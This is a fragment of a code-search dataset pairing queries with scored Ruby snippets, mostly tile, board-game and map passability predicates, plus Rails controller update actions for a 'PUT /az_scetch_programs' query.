"text": "def counter?(x, y)\n if @map_id != 0\n for i in [2, 1, 0]\n tile_id = data[x, y, i]\n if tile_id == nil\n return false\n elsif @passages[tile_id] & 0x80 == 0x80\n return true\n end\n end\n end\n return false\n end",
"title": ""
},
{
"docid": "3cf3c85738e1be9caddc33d9e92f5a38",
"score": "0.5984851",
"text": "def xy_mapping?\n @mapping == :xy\n end",
"title": ""
},
{
"docid": "f5cc20a7c893d15add713a2f0d1a7186",
"score": "0.5972897",
"text": "def space?\n @main_board.flatten.any? { |mark| mark != 'X' && mark != 'O' }\n end",
"title": ""
},
{
"docid": "9c53f1a87ef4db449942dce808c869c2",
"score": "0.59649485",
"text": "def tbyte?\n\t\t@ida.isTbyt(flags)\n\tend",
"title": ""
},
{
"docid": "10ecff8d44f03420b17ec9ed6a56c358",
"score": "0.59506",
"text": "def table_ps(x,y)\n return true if $game_map.tile_proj_passable?(x,y)\n id_cnt = 0\n layered_tiles(x,y).each do |tile_id|\n flag = tileset.flags[tile_id]\n id_cnt += flag & 0x10\n next if flag & 0x10 != 0\n return true if flag & 0x0400 == 0\n return true if flag & 0x0f == 0\n return false if flag & 0x0f == 0x0f\n end\n return id_cnt == 48\n end",
"title": ""
},
{
"docid": "46582bd2ef3e91c852786fbf8d19acd6",
"score": "0.5909522",
"text": "def full?\n\t self.cells.all? {|value| (value == \"X\" || value == \"O\")}\n\tend",
"title": ""
},
{
"docid": "8262fbcf67c7d0b4368180975734add7",
"score": "0.59055126",
"text": "def hit? which_board, coordinates\n shot(which_board, coordinates)\n (which_board[\"#{coordinates}\"] =~ /[X]/) ? (puts 'hit') : (puts 'miss')\n true if (which_board[\"#{coordinates}\"] =~ /[ABCDSX]/)\nend",
"title": ""
},
{
"docid": "d7b4d1cfc419c4a7be1651241a1be86a",
"score": "0.59050506",
"text": "def bush?(x, y)\n if @map_id != 0\n 2.downto(0) do |i|\n tile_id = data[x, y, i]\n if tile_id.nil?\n return false\n elsif @passages[tile_id] & 0x40 == 0x40\n return true\n end\n end\n end\n return false\n end",
"title": ""
},
{
"docid": "4341a04e0f28466e16765a2b07f0bf82",
"score": "0.5904513",
"text": "def system_tag_here?(x, y, tag)\n if @map_id != 0\n tiles = self.data\n 2.downto(0) do |i|\n tile_id = tiles[x, y, i]\n next unless tile_id\n return true if @system_tags[tile_id] == tag\n end\n end\n return false\n end",
"title": ""
},
{
"docid": "fddcdd098b4c5ab9e56a678e81c1a9d4",
"score": "0.58979696",
"text": "def has_piece?(x, y, y_offset = 0)\n get_piece(x, y, y_offset).class == BurgerTile\n end",
"title": ""
},
{
"docid": "8ce47fb52aeb3661fad0c3a41d25d6e5",
"score": "0.5896855",
"text": "def reflect_x?()\n (value & 0x8000) == 0x8000\n end",
"title": ""
},
{
"docid": "31b06c2e2fd3953b26956f1a58674f5a",
"score": "0.58810645",
"text": "def full?\n\t\t@cells.all? {|cell| cell == \"X\" || cell == \"O\"}\n\tend",
"title": ""
},
{
"docid": "b9d1187d024145dc539b7969db4e0ee8",
"score": "0.5872306",
"text": "def full?\n self.cells.all?{|cell| cell == \"X\" || cell == \"O\"}\n end",
"title": ""
},
{
"docid": "f3edafcf0fbc2fd2465b98a303eda9d0",
"score": "0.5868601",
"text": "def taken?(pos_num)\n @cells[pos_num.to_i - 1] == \"X\" || @cells[pos_num.to_i - 1] == \"O\" ? true : false\n end",
"title": ""
},
{
"docid": "0023bb0b924a8e2a39b9ab332d35a78a",
"score": "0.5851716",
"text": "def tie?\n @cells.all? { |s| s == \"X\" || s == \"O\" }\n end",
"title": ""
},
{
"docid": "7bf82ba3ba9ac181dbff92240483c127",
"score": "0.5838796",
"text": "def full?\n cells.all?{ |i| i == \"X\" || i == \"O\"}\n end",
"title": ""
},
{
"docid": "ba4fc941d273e2ef3cbc9c8851eb84d2",
"score": "0.5837763",
"text": "def full?\n cells.all?{|piece| piece == \"X\" || piece == \"O\"}\n end",
"title": ""
},
{
"docid": "4961cb6a06306823e6b0526120be928d",
"score": "0.5826159",
"text": "def valid_tile(position_x, position_y)\n begin\n (@rendered_board[position_x][position_y].include?('X') == true ||\n @rendered_board[position_x][position_y].include?('R') == true)\n rescue StandardError\n puts 'Inputed coordinates are not within board limits.'\n end\n end",
"title": ""
},
{
"docid": "ea6d5a40e9c7e9f48f3ed37f02fcc4d6",
"score": "0.5799443",
"text": "def full?\n @cells.all? {|i| i == \"O\" || i == \"X\"}\n end",
"title": ""
},
{
"docid": "481b10019a76c8df7db80bedbdbb8048",
"score": "0.5797204",
"text": "def passable?(x,y)\n \t@tiles[x / @tile_size][y / @tile_size]==Objects::PassableTop ||\n \t@tiles[x / @tile_size][y / @tile_size]==Objects::PassableTopLeft ||\n \t@tiles[x / @tile_size][y / @tile_size]==Objects::PassableTopRight ||\n @tiles[x / @tile_size][y / @tile_size]==Objects::PassableCaged ||\n @tiles[x / @tile_size][y / @tile_size]==Objects::PassableSingle ||\n \t@tiles[x / @tile_size][y / @tile_size]==Objects::IndoorPedestial\n end",
"title": ""
},
{
"docid": "354f027c8af30acbad650e94d1299e28",
"score": "0.5773049",
"text": "def a_wall?(row, col)\n @maze_array[row][col] == 'X'\n end",
"title": ""
},
{
"docid": "cf1fdb21f94800f931cb55b401da9657",
"score": "0.5767125",
"text": "def opaque?(pos_x, pos_y)\n case (@base_map[pos_x][pos_y])\n when '#'\n true\n when '.'\n false\n else\n object_at(pos_x, pos_y).opaque?\n end\n end",
"title": ""
},
{
"docid": "f7a8f88165acd131e8fd572fd34a0334",
"score": "0.576386",
"text": "def promotable?(x, y)\n y == 7 && color == \"WHITE\" || y == 0 && color == \"BLACK\"\n end",
"title": ""
},
{
"docid": "1b3915fb7c75b933a3a702623c19b1c7",
"score": "0.5762096",
"text": "def character?(x, y)\r\n @characters.each_value do |character|\r\n return true if character.x == x and character.y == y\r\n end\r\n return false\r\n end",
"title": ""
},
{
"docid": "570a84f35e37e17733e14217f7492503",
"score": "0.5753818",
"text": "def pixel_counter?(x, y)\n # if map ID is value\n if @map_id != 0\n # get pixel movement rate\n pix = BlizzABS.pixel\n # initialize result\n result = false\n # iterate through all layers and check each modified tile (pixel movement)\n [2, 1, 0].each {|i| (0...pix).each {|j| (0...pix).each {|k|\n # if tile is not valid ID\n if data[(x+j)/pix, (y+k)/pix, i] == nil\n # no counter\n return false\n # if counter bit is set\n elsif @passages[data[(x+j)/pix, (y+k)/pix, i]] & 0x80 == 0x80\n # counter\n result = true\n else\n # no counter\n return false\n end}}\n # return the result\n return result}\n end\n # no counter\n return false\n end",
"title": ""
},
{
"docid": "570a84f35e37e17733e14217f7492503",
"score": "0.5753818",
"text": "def pixel_counter?(x, y)\n # if map ID is value\n if @map_id != 0\n # get pixel movement rate\n pix = BlizzABS.pixel\n # initialize result\n result = false\n # iterate through all layers and check each modified tile (pixel movement)\n [2, 1, 0].each {|i| (0...pix).each {|j| (0...pix).each {|k|\n # if tile is not valid ID\n if data[(x+j)/pix, (y+k)/pix, i] == nil\n # no counter\n return false\n # if counter bit is set\n elsif @passages[data[(x+j)/pix, (y+k)/pix, i]] & 0x80 == 0x80\n # counter\n result = true\n else\n # no counter\n return false\n end}}\n # return the result\n return result}\n end\n # no counter\n return false\n end",
"title": ""
},
{
"docid": "5255664875b5f6555e34a0b86ac18478",
"score": "0.5751542",
"text": "def wrapped?(next_tile, path_tiles)\n return false if path_tiles.empty? || path_tiles.nil?\n last_tile_letter = path_tiles.last[0]\n next_tile_letter = next_tile[0]\n if next_tile_letter == \"h\" && last_tile_letter == \"a\"\n return true\n elsif next_tile_letter == \"a\" && last_tile_letter == \"h\"\n return true\n else \n return false\n end\n end",
"title": ""
},
{
"docid": "e5590f67230e93fca7b33707119b1723",
"score": "0.5741472",
"text": "def piece_at_tile? player, tile\n\trow = tile[0].codepoints[0] - 65\n\tcolumn = tile[1].to_i - 1\n @checkers_state[row][column].to_i == player\nend",
"title": ""
},
{
"docid": "e5590f67230e93fca7b33707119b1723",
"score": "0.5741472",
"text": "def piece_at_tile? player, tile\n\trow = tile[0].codepoints[0] - 65\n\tcolumn = tile[1].to_i - 1\n @checkers_state[row][column].to_i == player\nend",
"title": ""
},
{
"docid": "15e1b18461e19b14e997a0928d88c87d",
"score": "0.5735249",
"text": "def hairpin?\n return false unless @last.is_a?(RnaSec::Tree::BasePair)\n return false unless @last.three_idx == @cur.idx\n return false unless @bases.any?\n\n # ensure all bases are single-stranded\n @bases.each { |b| return false unless b.is_a?(RnaSec::Tree::Base) }\n true\n end",
"title": ""
},
{
"docid": "e744353dd17c4f2f44b30d737be32eac",
"score": "0.5733297",
"text": "def all_tiles_revealed?\n @grid.each do |row|\n row.each { |tile| return false if !tile.is_bomb? && !tile.faceup? }\n end\n\n true\n end",
"title": ""
},
{
"docid": "5ab2988ae531dec467cc635f826fb8e1",
"score": "0.5726151",
"text": "def taken?(num)\n cells[num.to_i - 1] == \"X\" || cells[num.to_i - 1] == \"O\" ? true : false\n end",
"title": ""
},
{
"docid": "39846afcdcc39c092c6985a0c7b85164",
"score": "0.5723191",
"text": "def pointtopoint?\n (flags & 16) > 0\n end",
"title": ""
},
{
"docid": "e7c166074f4c61296b17b2f60660887e",
"score": "0.57226735",
"text": "def valid?\n valid = true\n @path.each do |node|\n unless @map.tiles.dig(node.tile.grid_position.x, node.tile.grid_position.y).entity == node.tile.entity\n valid = false\n break\n end\n end\n\n return valid\n end",
"title": ""
},
{
"docid": "6731d5e66772a77540d6f2431d432db8",
"score": "0.57196593",
"text": "def full?\n cells.all? do |token|\n token == \"X\" || token == \"O\"\n end\n end",
"title": ""
},
{
"docid": "c184cb974b50de9227b4af0d7db933c4",
"score": "0.571532",
"text": "def pixel_bush?(x, y)\n # if map ID valid\n if @map_id != 0\n # get pixel movement rate\n pix = BlizzABS.pixel\n # iterate through all layers\n [2, 1, 0].each {|i|\n # if tile ID not valid\n if data[(x+pix/2)/pix, (y+pix/2)/pix, i] == nil\n # no bush\n return false\n # if bush bit is set\n elsif @passages[data[(x+pix/2)/pix, (y+pix/2)/pix, i]] & 0x40 == 0x40\n # bush\n return true\n end}\n end\n # no bush\n return false\n end",
"title": ""
},
{
"docid": "c184cb974b50de9227b4af0d7db933c4",
"score": "0.571532",
"text": "def pixel_bush?(x, y)\n # if map ID valid\n if @map_id != 0\n # get pixel movement rate\n pix = BlizzABS.pixel\n # iterate through all layers\n [2, 1, 0].each {|i|\n # if tile ID not valid\n if data[(x+pix/2)/pix, (y+pix/2)/pix, i] == nil\n # no bush\n return false\n # if bush bit is set\n elsif @passages[data[(x+pix/2)/pix, (y+pix/2)/pix, i]] & 0x40 == 0x40\n # bush\n return true\n end}\n end\n # no bush\n return false\n end",
"title": ""
},
{
"docid": "227cae596de1a832e256a6adeea43775",
"score": "0.5714048",
"text": "def tile_visited(tile)\n if tile.visible_symbol == \" \"\n return true\n end\n return false\n end",
"title": ""
},
{
"docid": "e3e46181b18db7f209e4e50c4dc54657",
"score": "0.5708188",
"text": "def tile_check(x, y, d)\n # get pixel movement rate\n pix = BlizzABS.pixel\n # set bit\n bit = (1 << (d / 2 - 1)) & 0x0F\n # get virtual passability\n v_map = $game_map.virtual_passability\n # get x and y of next tile\n case d\n when 2 then nx, ny = x/pix, (y+1)/pix\n when 4 then nx, ny = (x-1)/pix, y/pix\n when 6 then nx, ny = (x+1)/pix, y/pix\n when 8 then nx, ny = x/pix, (y-1)/pix\n else\n nx = ny = nil\n end\n # return true whether still on the same tile or next tile is passable\n return (x/pix == nx && y/pix == ny || v_map[x/pix, y/pix] & bit != 0x00)\n end",
"title": ""
},
{
"docid": "e3e46181b18db7f209e4e50c4dc54657",
"score": "0.5708188",
"text": "def tile_check(x, y, d)\n # get pixel movement rate\n pix = BlizzABS.pixel\n # set bit\n bit = (1 << (d / 2 - 1)) & 0x0F\n # get virtual passability\n v_map = $game_map.virtual_passability\n # get x and y of next tile\n case d\n when 2 then nx, ny = x/pix, (y+1)/pix\n when 4 then nx, ny = (x-1)/pix, y/pix\n when 6 then nx, ny = (x+1)/pix, y/pix\n when 8 then nx, ny = x/pix, (y-1)/pix\n else\n nx = ny = nil\n end\n # return true whether still on the same tile or next tile is passable\n return (x/pix == nx && y/pix == ny || v_map[x/pix, y/pix] & bit != 0x00)\n end",
"title": ""
},
{
"docid": "7e85f95f06dc17ce2cfc5dbae82faff6",
"score": "0.570452",
"text": "def full?\n cells.all? {|token| token == \"X\" || token == \"O\"}\n end",
"title": ""
},
{
"docid": "f2fb5e8a122243bfaeb0c2c500675b19",
"score": "0.5699487",
"text": "def transparent?(x,y)\r\n i = 1\r\n adj = 0 #ajuste do tamanho, considerando os eventos nil\r\n while(i<=$game_map.events.length+adj)\r\n if $game_map.events[i] != nil\r\n # The following condition fixes issues caused by erased events\r\n unless $game_map.events[i].empty?\r\n event_com1 = $game_map.events[i].list[0] \r\n if event_com1.code == 108\r\n # Eventos individuais indicadores de transparência\r\n if event_com1.parameters[0] == \"TRANSPARENT\"\r\n if $game_map.events[i].x == x and $game_map.events[i].y == y\r\n return true\r\n end\r\n end\r\n # Evento indicador de coordenadas de transparência\r\n if event_com1.parameters[0] == \"TRANS LIST\"\r\n for j in 0...$game_map.events[i].list.length-1\r\n if $game_map.events[i].list[j].parameters[0] == x.to_s+\",\"+y.to_s\r\n return true\r\n end\r\n end\r\n end\r\n end\r\n end\r\n else \r\n adj += 1\r\n end\r\n i += 1\r\n end\r\n return false\r\n end",
"title": ""
},
{
"docid": "550ac477b05bf55a81d5dc5fb1d9eae8",
"score": "0.56989175",
"text": "def hex_digit?(code)\n code >= 0x30 && code <= 0x39 or\n code >= 0x41 && code <= 0x46 or\n code >= 0x61 && code <= 0x66\n end",
"title": ""
},
{
"docid": "9d4cd5a2223ea2f82eadb2ee505a85e1",
"score": "0.5698551",
"text": "def ship_around?(*coords)\r\n coords = coords.flatten\r\n row, col = coords.first, coords.last\r\n return true if @m[row, col] == :ship\r\n 8.times do |i| # look around the cell\r\n d = Direction.to_rc(i)\r\n coord = [row + d.first, col + d.last]\r\n next if coord.first < 0 || coord.last < 0\r\n return true if [:ship, :killed].include? @m[coord.first, coord.last]\r\n end\r\n false\r\n end",
"title": ""
},
{
"docid": "63dd73320837a59a5d4ccb62aba7b38e",
"score": "0.5697035",
"text": "def check?(xCord, yCord)\n\t\tif xCord >= 8 || xCord < 0 || yCord >= 8 || yCord < 0\n\t\t\treturn false\n\t\tend\n\t\ttrue\n\tend",
"title": ""
},
{
"docid": "d4c299e1570226b4be991df3e5de93ee",
"score": "0.56954885",
"text": "def is_full\n CELLS.each do |cell|\n if BOARD[cell] != 'X' and BOARD[cell] != 'O'\n return false\n end\n end\n return true\n end",
"title": ""
},
{
"docid": "e2730a6911a4c726e5a8e4a36f5ee3f6",
"score": "0.56842095",
"text": "def full?\n \tcells.all?{|token| token == \"X\" || token == \"O\"}\n\tend",
"title": ""
},
{
"docid": "d9338d5e68b11972523f7e47faa93b27",
"score": "0.565671",
"text": "def weatherTint?\n for wth in [:Hail, :Sun, :HarshSun]\n return true if @battle.pbWeather == wth\n end\n return false\n end",
"title": ""
},
{
"docid": "cbdb5877da8ae79ee1542f73a6d27f90",
"score": "0.56558776",
"text": "def occupied?(x, y)\n piece_present_at?(x, y) && same_color?(x, y)\n end",
"title": ""
},
{
"docid": "736f7c49a11e7e39f1e3f7b9a38f745a",
"score": "0.5654083",
"text": "def valid?(tile_choice)\n if tile_choice[0] == \"r\" || tile_choice[0] == \"f\" || tile_choice[0] == \"q\"\n if tile_choice[0] == 'q'\n return true\n elsif @board[tile_choice[1..2]]\n return true\n end\n end\n false\n end",
"title": ""
},
{
"docid": "776fa97c9825804cc21fc9b128771ec9",
"score": "0.56428003",
"text": "def full?\n cells.all?{|c| c == \"X\" || c == \"O\"} # .all will send every value in the array through a loop to see what's in each position\n end",
"title": ""
},
{
"docid": "60480d074a8e6441e02046710eaeb782",
"score": "0.5624724",
"text": "def compressed_hex_format?(raw_key)\n raw_key.length == 66 && !raw_key[/\\H/]\n end",
"title": ""
},
{
"docid": "10a4c16b7e4162b6a8bd330b764c36a3",
"score": "0.5623506",
"text": "def destroying?(x,y)\n x/@tile_size==@bh_x && y/@tile_size==@bh_y\n end",
"title": ""
},
{
"docid": "ef29938de86d726c0867251c5f49765e",
"score": "0.5620901",
"text": "def game_over? \n @board.grid.each do |set| \n return set.any? { |tile| tile.ui_val == :B }\n end\n end",
"title": ""
},
{
"docid": "e0706efb8f10518775155e48712fcbf4",
"score": "0.56166375",
"text": "def valid_coord?(coord)\n return false unless coord.all? { |x| x.between?(0, 7) }\n unless @board[coord].nil? #if square at coord not empty\n piece_at_coord = @board[coord]\n return false if self.color == piece_at_coord.color\n end\n true\n end",
"title": ""
},
{
"docid": "e0d8df0ae3716b3334e7857d6b2b3252",
"score": "0.5614396",
"text": "def pipe?(x,y)\n h = (x / 92).to_i * 92\n \tv = (y / 92).to_i * 92\n \tv=0 if v<0 #Prevents checking outside level error...\n if (@lines[v / @tile_size][h / @tile_size,1]=='-') || (@lines[v / @tile_size][h / @tile_size,1]=='^')\n \treturn true\n else\n \treturn false\n end\n end",
"title": ""
},
{
"docid": "6fc1886a6142fbde32b0e8483fdab8bb",
"score": "0.5613749",
"text": "def opaque?(pos_x, pos_y)\n case (@base_map[pos_x][pos_y])\n when '#'\n true\n when '.'\n false\n else\n object_at(pos_x, pos_y)&.opaque?\n end\n end",
"title": ""
},
{
"docid": "e0d61c2e08cb71987154c0d8a4767d26",
"score": "0.560162",
"text": "def valid?\n valid = true\n @path.each do |node|\n unless @map.grid.dig(node.tile.position.x, node.tile.position.y).element == node.tile.element\n valid = false\n break\n end\n end\n\n return valid\n end",
"title": ""
},
{
"docid": "7dac3faa7ff895a2fcfb0e50ce8a31f4",
"score": "0.5599909",
"text": "def solid_at?(blob, x, y)\n width = 16\n\n blob[(y * width + x) * 4 + 3].ord > 0\n end",
"title": ""
},
{
"docid": "5f764ebbabf8e78a531120a22762f666",
"score": "0.5596322",
"text": "def image?\n if @yx[1][1].instance_of?(Object)\n return to_line { |s| Grid::color_to_char(s.color) }\n else\n return to_line { |c| Grid::color_to_char(c) }\n end\n end",
"title": ""
},
{
"docid": "cceb4de2babcd5355446bdbb7d894eec",
"score": "0.55928254",
"text": "def bad_tile?(tile)\n !png?(tile) || File.size(tile) == @control_size && system(\"cmp #{tile} #{app_root}/no_image.png\")\n end",
"title": ""
},
{
"docid": "65bb2de3aa1f6957dc44d474c8c8544b",
"score": "0.55902964",
"text": "def taken?(input)\n index = (input.to_i)-1\n if @cells[index] ==\"X\" || @cells[index] ==\"O\"\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "5110faedca1c9b67094c240128830208",
"score": "0.5589434",
"text": "def fits?(tile)\n # Check out of bounds\n if ((tile.posx + tile.sizex - 1) > x) || ((tile.posy + tile.sizey - 1) > y)\n return false\n end\n\n area = tile.get_area\n\n area.all? { |pos| grid[pos].nil? }\n end",
"title": ""
},
{
"docid": "70d72e7eb16e34e7812eb8c8191220f1",
"score": "0.5589165",
"text": "def is_base?(x,y, curr_player)\n\t\t\t#puts \"hERE #{curr_player.bases}\"\n\t\t\tcurr_player.bases.each do |l|\n\t\t\t\tif l.x == x && l.y == y\n\t\t\t\t\treturn true\n\t\t\t\tend \n\t\t\tend \n\t\t\treturn false\n\t\tend",
"title": ""
},
{
"docid": "bba0e5eda9684578e17bb75d65d19871",
"score": "0.5586567",
"text": "def empty_board?\n\t\t@grid.each do |row|\n\t\t\tif((row.include?(:X)) || (row.include?(:O)))\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\t\treturn true\n\tend",
"title": ""
},
{
"docid": "82a7504b6e3f86f0c8c4c9d9a69c07d9",
"score": "0.5585521",
"text": "def occupied(position)\n !!tile_at(position)\n end",
"title": ""
},
{
"docid": "72aaa31f9342e95e52ca94c461b09deb",
"score": "0.5584106",
"text": "def valid_coordinate?(x, y)\n return false if x < 0 || y < 0\n return false if x >= tile_cache_entry[\"width\"] || y >= tile_cache_entry[\"height\"]\n return true unless tile_cache_entry[\"collision\"]\n return tile_cache_entry[\"collision\"][y * tile_cache_entry[\"width\"] + x] == 0\n end",
"title": ""
},
{
"docid": "527019c0dccb07183114e3a36bfbea05",
"score": "0.5581435",
"text": "def a?\n CLASSFUL.key(8) === bits\n end",
"title": ""
},
{
"docid": "c4d8d03c5de6e3c2f19e8c6a47ab818f",
"score": "0.5580907",
"text": "def occupied?(coords)\n @pieces = Piece.all\n # loop through all pieces to find any in move coords\n @pieces.each do |piece|\n if piece.row == coords[0] && piece.column == coords[1]\n # return result of color_check -> attack -> t/f\n return color_check(piece)\n end\n end\n end",
"title": ""
}
] |
703d1f5cac800659f510f49309ce5313
|
PUT /az_scetch_programs/1 PUT /az_scetch_programs/1.xml
|
[
{
"docid": "96c012510f84921910f22f204d2bee20",
"score": "0.70391595",
"text": "def update\n @az_scetch_program = AzScetchProgram.find(params[:id])\n\n respond_to do |format|\n if @az_scetch_program.update_attributes(params[:az_scetch_program])\n format.html { redirect_to(@az_scetch_program, :notice => 'AzScetchProgram was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @az_scetch_program.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "e453dd649baf3ead652c42660049b3a6",
"score": "0.657989",
"text": "def update\n @program = Program.find(params[:id])\n\n respond_to do |format|\n if @program.update_attributes(params[:program])\n flash[:notice] = 'Program was successfully updated.'\n format.html { redirect_to(@program) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @program.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "655e7f2463474f8bdb08f5210e82dcb6",
"score": "0.6499104",
"text": "def update\n respond_to do |format|\n if @program.update_attributes program_params\n format.html { redirect_to([:admin, @program], :notice => 'Program was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @program.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f66f7ca4962ec4d0a5ae0ec6bfc7c831",
"score": "0.641931",
"text": "def update\n @action_program = ActionProgram.find(params[:id])\n\n respond_to do |format|\n if @action_program.update_attributes(params[:action_program])\n format.html { redirect_to @action_program, notice: 'Action program was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @action_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3c0ef310ce9bcc3646df87696c645140",
"score": "0.6380151",
"text": "def update\n if !params[:program_id].nil?\n @program = Program.find(params[:program_id])\n else\n @program = nil\n end\n @property_count = 0\n find_unuse_program_and_file\n respond_to do |format|\n if @chef_resource.update(chef_resource_params)\n #create_chef_value\n if !@program.nil?\n ProgramsSubject.where(:program_id => @program.id).update_all(:was_updated => true)\n ProgramsSubject.where(:program_id => @program.id, :state => \"none\").update_all(:state => \"update\")\n format.html { redirect_to edit_program_chef_resource_path(program_id: @program.id, id: @chef_resource.id), :flash => { :success => \"Action was successfully updated.\" } }\n else\n format.html { redirect_to edit_chef_resource_path(@chef_resource), :flash => { :success => \"Action was successfully updated.\" } }\n end\n format.json { render :show, status: :ok, location: edit_chef_resource_path(@chef_resource) }\n else\n format.html { render :edit }\n format.json { render json: @chef_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f18fcd1abcd9cc598cacaa279d528738",
"score": "0.63122267",
"text": "def update\n @program = Program.find(params[:id])\n\n respond_to do |format|\n if @program.update_attributes(params[:program])\n format.html { redirect_to @program, notice: 'Program was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f18fcd1abcd9cc598cacaa279d528738",
"score": "0.63122267",
"text": "def update\n @program = Program.find(params[:id])\n\n respond_to do |format|\n if @program.update_attributes(params[:program])\n format.html { redirect_to @program, notice: 'Program was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f18fcd1abcd9cc598cacaa279d528738",
"score": "0.63122267",
"text": "def update\n @program = Program.find(params[:id])\n\n respond_to do |format|\n if @program.update_attributes(params[:program])\n format.html { redirect_to @program, notice: 'Program was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e2bd190d08676607448e21b495b4d24e",
"score": "0.63035995",
"text": "def update\n @program = Program.find(params[:id])\n\n respond_to do |format|\n if @program.update_attributes(program_params)\n format.html { redirect_to @program, notice: 'program was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8519de01e12ed83f66971dd731f11602",
"score": "0.6281007",
"text": "def update\n @client_program = ClientProgram.find(params[:id])\n\n respond_to do |format|\n if @client_program.update_attributes(params[:client_program])\n flash[:notice] = 'ClientProgram was successfully updated.'\n format.html { redirect_to(@client_program) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @client_program.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9a08f512ec56587f71d7c00ac58696b3",
"score": "0.62626666",
"text": "def update\n @programset = Programset.find(params[:id])\n\n respond_to do |format|\n if @programset.update_attributes(params[:programset])\n format.html { redirect_to @programset, notice: 'Programset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @programset.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5b48483761defcf385da363ff20fbe8c",
"score": "0.6259958",
"text": "def update\n @aq_program = AqProgram.find(params[:id])\n\n respond_to do |format|\n if @aq_program.update_attributes(params[:aq_program])\n format.html { redirect_to @aq_program, notice: 'Aq program was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aq_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "137fcf7c1a05833ec975cf2098ca4124",
"score": "0.6209081",
"text": "def update\n respond_to do |format|\n if @program.update(program_params)\n collections = ProgramCollection.find_by_sql \"Select * From program_collections where program_id=\"+@program.id.to_s+\"\"\n collections.each do |program_collection|\n program_collection.destroy\n end\n params[:collections].each do |collection_id|\n ProgramCollection.create(collection_id: collection_id, program_id: @program.id )\n end\n format.html { redirect_to programs_path, notice: 'Program was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5e1a54c76c4eeb374e515c0f5f74ef15",
"score": "0.61798954",
"text": "def update\n respond_to do |format|\n if @program.update(program_params)\n format.html { redirect_to programs_path }\n format.json { render :show, status: :ok, location: @program }\n else\n format.html { render :edit }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6d93c8839fce65568f5d08124296ca5f",
"score": "0.6177815",
"text": "def update\n @program.update_attributes(program_params)\n end",
"title": ""
},
{
"docid": "ad54471b285e5e357d9be959c8ade2d8",
"score": "0.6155676",
"text": "def update\n path = \"/workflow/#{repo}/objects/druid:#{druid}/workflows/#{workflow}/#{step}\"\n conn = Faraday.new(url: config['host'])\n conn.basic_auth(config['user'], config['password'])\n conn.headers['content-type'] = 'application/xml'\n\n conn.put path, payload\n end",
"title": ""
},
{
"docid": "11def492a8f8b89bb486f0877067055c",
"score": "0.614418",
"text": "def update\n @program_manifest = ProgramManifest.find(params[:id])\n\n respond_to do |format|\n if @program_manifest.update_attributes(params[:program_manifest])\n format.html { redirect_to @program_manifest, notice: 'Program manifest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @program_manifest.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "491478237df2063432780e09162fa3c4",
"score": "0.6141393",
"text": "def update\n @raw_program = RawProgram.find(params[:id])\n\n respond_to do |format|\n if @raw_program.update_attributes(params[:raw_program])\n format.html { redirect_to @raw_program, notice: 'Raw program was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @raw_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f355a246109174bd7ecc0dfe81b0e81d",
"score": "0.61291665",
"text": "def update\n\n respond_to do |format|\n if @program.update(program_params)\n format.html { redirect_to @program, notice: 'Program was successfully updated.' }\n format.json { render :show, status: :ok, location: @program }\n else\n format.html { render :edit }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8038dd63d82fac17c9aa4cea4fc8b604",
"score": "0.61174375",
"text": "def update\n @program = TvProgram.find(params[:id])\n @program.update_attributes(params[:program])\n \n redirect_to :action => :show, :id => @program\n end",
"title": ""
},
{
"docid": "f357b9abbefa19999e456f43a719b62e",
"score": "0.6117422",
"text": "def update\n respond_to do |format|\n if @program.update(program_params)\n format.html { redirect_to @program, notice: 'Program was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f357b9abbefa19999e456f43a719b62e",
"score": "0.6117422",
